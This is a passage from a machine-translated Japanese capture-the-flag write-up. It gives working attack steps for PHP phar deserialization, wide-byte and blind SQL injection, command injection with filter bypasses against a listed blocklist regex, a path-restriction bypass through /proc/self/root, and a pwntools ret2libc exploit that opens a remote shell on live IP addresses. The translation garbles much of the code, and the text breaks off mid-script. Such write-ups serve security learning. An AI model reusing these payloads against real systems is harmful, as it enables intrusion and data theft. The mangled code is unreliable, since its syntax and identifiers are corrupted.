Jump to content

1。 web

1.web_baliyun

入力後、ファイルがアップロードされ、写真のみをアップロードできます。 www.zipにアクセスしてソースコードを取得します

1049983-20220922090556835-1442997120.pngウェブサイトソースコード:index.php:php

include( 'class.php');

if(isset($ _ get ['img_name'])){

$ down=newCheck_img();#ここに

echo $ down-img_check();

}

if(isset($ _ files ['file'] ['name'])){

$ up=newupload();

echo $ up-start();

}

class.php3360?php

classupload {

public $ filename;

public $ ext;

public $ size;

public $ valid_ext;

publicfunction__construct(){

$ this-filename=$ _ files ['file'] ['name'];

$ this-ext=end(Explode( '。'、$ _ files ['file'] ['name']));

$ this-size=$ _ files ['file'] ['size']/1024;

$ this-valid_ext=array( 'gif'、 'jpeg'、 'jpg'、 'png');

}

publicFunctionStart(){

$ this-check();

}

privateFunctionCheck(){

if(file_exists($ this-filename)){

「Imagealreadyexsists」を返します。

} elseif(!in_array($ this-ext、$ this-valid_ext)){

'onlyimagecanbeuploaded'を返します。

}それ以外{

return $ this-move();

}

}

privateFunctionMove(){

move_uploaded_file($ _ files ['file'] ['tmp_name']、 'upload/'.$ this-filename);

'uploadsuccsess!'を返します。

}

publicfunction__wakeup(){

echofile_get_contents($ this-filename);#ここ2

}

}

classcheck_img {

public $ img_name;

publicfunction__construct(){

$ this-img_name=$ _ get ['img_name'];#ここに

}

publicfunctionimg_check(){

if(file_exists($ this-img_name)){#here1

「ImageExsists」を返します。

}それ以外{

「イマンノティーズシスト」を返します。

}

}

} PhARが降下し、アップロードしてからそれを含めることは明らかです。また、コードはアップロードとしてアップロードディレクトリを配信し、ファイル名は変更されていません。

Phar Deserializationの詳細については、参照してください

PHP降下拡張攻撃の詳細な説明-Phar: https://xz.aliyun.com/t/6699

Phar and Stream Lapperは、PHP RCE : https://xz.aliyun.com/t/2958の詳細なマイニングを引き起こします。

#test.php

?php

classupload {

public $ filename;

publicfunction__construct(){

$ this-filename='file: ///flag';

}

}

$ phar=newphar( 'tao.phar');

$ phar-stopbuffering();

$ phar-setstub( 'gif89a'。 '?php__halt_compiler();');

$ phar-addfromstring( 'test.txt'、 'test');

$ payload=newupload();

$ phar-setmetadata($ payload);

$ phar-stopbuffering();

php - definedphar.readonly=0test.php

mvtao.phartao.gif

クラスでPhARを開始できる関数file_existsを見ました。フラグを読むことができる関数。その後、アイデアは非常に明確です。 TAO.GIFを直接アップロードすると、コンテンツはアップロードクラスであり、プロパティファイル名は /フラグです。次に、IMG_NAMEをPhAR: //アップロード/TAO.GIFに渡して、PHARパッケージをトリガーします

Tao.gifをアップロードしてから?img_name=phar: //upload/tao.gifはフラグを取得できます。

oulo@gota:~$curl-vvhttp://39.107.82.169:27417/index.php?img_name=phar://upload/tao.gif|grep'flag ''

...............

get/index.php?img_name=phar: //upload/tao.gifhttp/1.1

host:39.107.82.169:27417

user-agent:curl/7.58.0

Accept:*/*

HTTP/1.1200OK

日付:mon、19sep202220336042:08gmt

server:apache/2.4.25(debian)

X-Powed-by:php/5.6.40

vary:ACCEPT-ENCODING

Content-Length:1925

content-type:text/html; charset=utf-8

...............

flag {s8hjqg5ftej9kcc65mn55k9xjrrgyvqg}

2.EASYLOGIN

SQL注入。 Burpがパケットをキャッチしたとき、GBKがコードを絞ったことを発見し、それが広いバイトインジェクションであることに気付きました。

username=admin%df'password=admin

エラーを報告する:

SQL構文にエラーがあります。適切な構文のためにMySQL Serverバージョンに対応するマニュアルを確認してください。

関節注入発見:をテストします

1049983-20220922090557623-1116459392.jpgには常に構文エラーがあります。トラブルシューティング後、SelectとUnionが空に置き換えることがわかっているため、Double Writeを使用してバイパスする方が簡単です。

直接関節噴射パスワードをログインできません。通常のサイト開発パスワードはMD5になると思います。そのため、MD5を使用して暗号化します。引用符は使用できないため、16進バイパスを選択します。

1049983-20220922090558263-459598854.jpg

仮想テーブルを作成し、直接ログインします。バックグラウンドロジックはMD5比較です。同様の元の質問username=admin%df%27Ununion%0aseElectlect%0A66,66,0x343762636365365633734666635383963438363776462643535365396363613963830-#PROPT=AAAA AAAパスワードが弱く、パスワードはadmin123を爆破します

1049983-20220922090558895-1246514747.png

get/index.php?ip=127.0.0.1%0alshttp/1.1

host:39.107.75.148:19304

pragma:No-cache

Cache-Control:No-Cache

アップグレード-Insecure-Requests:1

user-agent:mozilla/5.0(windowsnt10.0; wow64)applewebkit/537.36(khtml、virtgecko)chrome/86.0.4240.198Safari/537.36

Accept:Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/APNG、*/*; Q=0.8、Application/Signed-Exchange; v=B3; Q=0.9

Referer:http://39.107.75.148:19304/index.php?ip=ip

Accept-Encoding:GZIP、deflate

Accept-Language:Zh-Cn、Zh; q=0.9

cookie:phpsessid=r4mutkqgni200nfu6ar3qj3jp7; td_cookie=3097567335

Connection:Close 1049983-20220922090559527-52671451.jpg

#ソースコードを読み取ります

?ip=127.0.0.1%0apaste%09index.pharray

[0]=?php

[1]=

[2]=header( 'content-type:text/html; charset=utf-8');

[3]=

[4]=//オープンセッション

[5]=

[6]=session_start();

[7]=

[8]=

[9]=

[10]=//最初にCookieがユーザー情報を覚えているかどうかを判断します

[11]=

[12]=if(isset($ _ cookie ['username'])){

[13]=

[14]=#ユーザー情報を覚えている場合、セッションに直接送信されます

[15]=

[16]=$ _セッション['username']=$ _ cookie ['username'];

[17]=

[18]=$ _セッション['islogin']=1;

[19]=

[20]=}

[21]=

[22]=if(isset($ _ session ['islogin'])){

[23]=

[24]=//ログインした場合

[25]=

[26]=

[27]=$ res=false;

[28]=

[29]=if(isset($ _ get ['ip'])$ _ get ['ip']){

[30]=$ ip=$ _ get ['ip'];

[31]=$ m=[];

[32]=if(!preg_match_all( '/(\ |||; || \/| cat | flag | touch | touch | curl | curl | scp | kylin | echo | tmp | var | run | greep | - | `|' | '| : |||| more)/'、$ m){

[33]=$ cmd='ping-c4 {$ ip}';

[34]=exec($ cmd、$ res);

[35]=} else {

[36]=$ res='ハッカー、違法な声明があります';

[37]=}

[38]=}

[39]=

[40]=

[41]=} else {

[42]=

[43]=//ログインしていない場合

[44]=

[45]=Echo'Youはまだログインしていません。Ahref='login.html'login/a';

[46]=

[47]=}

[48]=

[49]=?定期的な傍受は次のとおりです。

if(!preg_match_all( '/(\ |||; || \/| cat | flag | touch | curl | scp | kylin | echo | tmp | var | run | grep | - | `|' | : ||| more | more)/'、$ ip、m)しかし、 /傍受されるため、ディレクトリを入力してファイルを読み取ろうとしますが、質問はLinuxシステムの特性を使用してKylinをフィルターし、ディレクトリファイルを定期的に確認します。

#Kylinディレクトリを読み取ります

?ip=127.0.0.1%0als%09ky ?#出力:

事前に

[0]=flag.txt

))

/pre#finalPayload

?IP=127.0.0.1%0ACD%09KY ?%0APASTE%09FL*#%09=''(TAB)、実際には$ {ifs}もできます

?ip=127.0.0.1%0ACD%09KY ?%0apaste $ {ifs} fl*

?ip=127.0.0.1%0aca''t $ {ifs} $(fi''nd $ {ifs}バイナリを使用して、ケースに敏感になります。

1049983-20220922090601456-1710777780.png

スクリプトのインポレクティストの直接メモ

proxy={'http':'127.0.0.133608080'}

result='0x'

k=0forjinrange(100):

Foriinrange(33,126):

k=hex(i)

K=K [2:]

結果+=k

Password='または(case \ x09when \ x09(binary \ x09username'+result+')\ x09then \ x091 \ x09else \ x09223372036854775807+1 \ x09end)#'

data={'username':'aa \\'、 'password':password}

re=requests.post(data=data、url=url、proxies=proxy、aople_redirects=false)

#sleep(0.1)

印刷(re.status_code)

if'msg'notinre.text:

結果=結果[:-2]

l=hex(i-1)

L=L [2:]

結果+=l

印刷(結果)

壊す

else:

結果=result [:-2]最後に、username=flag_accountpassword=g1ve_y0u _@_ k3y_70_937_f14g !ログインを送信した後、それは単純な再ファイルであることがわかります。フィルタ /フラグを立てるだけで、直接使用できません。 /proc/self/root/flagを使用するだけですか?phpsession_start(); if(sesset($ _ session ['name'])){if($ _ session ['name']==='flag_account'){$ file=urldecode($ _ get ['file']); if(!if(! preg_match( '/^\/flag | var | tmp | php | log | \%| sess | etc | usr | \。| \ : | base | ssh | http/i'、$ file ){readfile($ file);} else {echo'tryagain〜 ';}} show_source(__ file __);} else {echo'login〜';}

1049983-20220922090602071-124416845.jpg

1049983-20220922090602648-1448644284.png

3.web_letmeguess_1

4.web_eeeeasy_sql

BASIC RET2LIBC

frommpwnimport*

context.log_level='debug'#p=process( './h3ll0rop')

p=remote('47 .93.30.67 '、52705)

elf=elf( './h3ll0rop')

libc=elf( './libc-2.23.so')

pop_rdi=0x0000000000000400753#vuln=0x400647

vuln=0x4006cc#leaklibc

ペイロード=b'a '*(0x60+0x8)+p64(pop_rdi)+p64(elf.got [' puts '])+p64(elf.plt [' puts '])+p64(vuln)

P.Sendlineferter(b'me ? '、ペイロード)

libc_base=u64(p.recvuntil(b '\ x7f')[-6:] .ljust(8、b '\ x00'))-libc.sym ['puts']]

print( 'libc_base'、hex(libc_base))

system=libc_base+libc.sym ['system']

binsh=libc_base+next(libc.search(b '/bin/sh'))#getshell

ペイロード=b'a '*(0x60+0x8)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(vuln)

P.Sendlineferter(b'me ? '、ペイロード)

p.Interactive()p.close()

2。 pwn

frommpwnimport*

Context(os='linux'、arch='amd64')

context.log_level=true

e

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...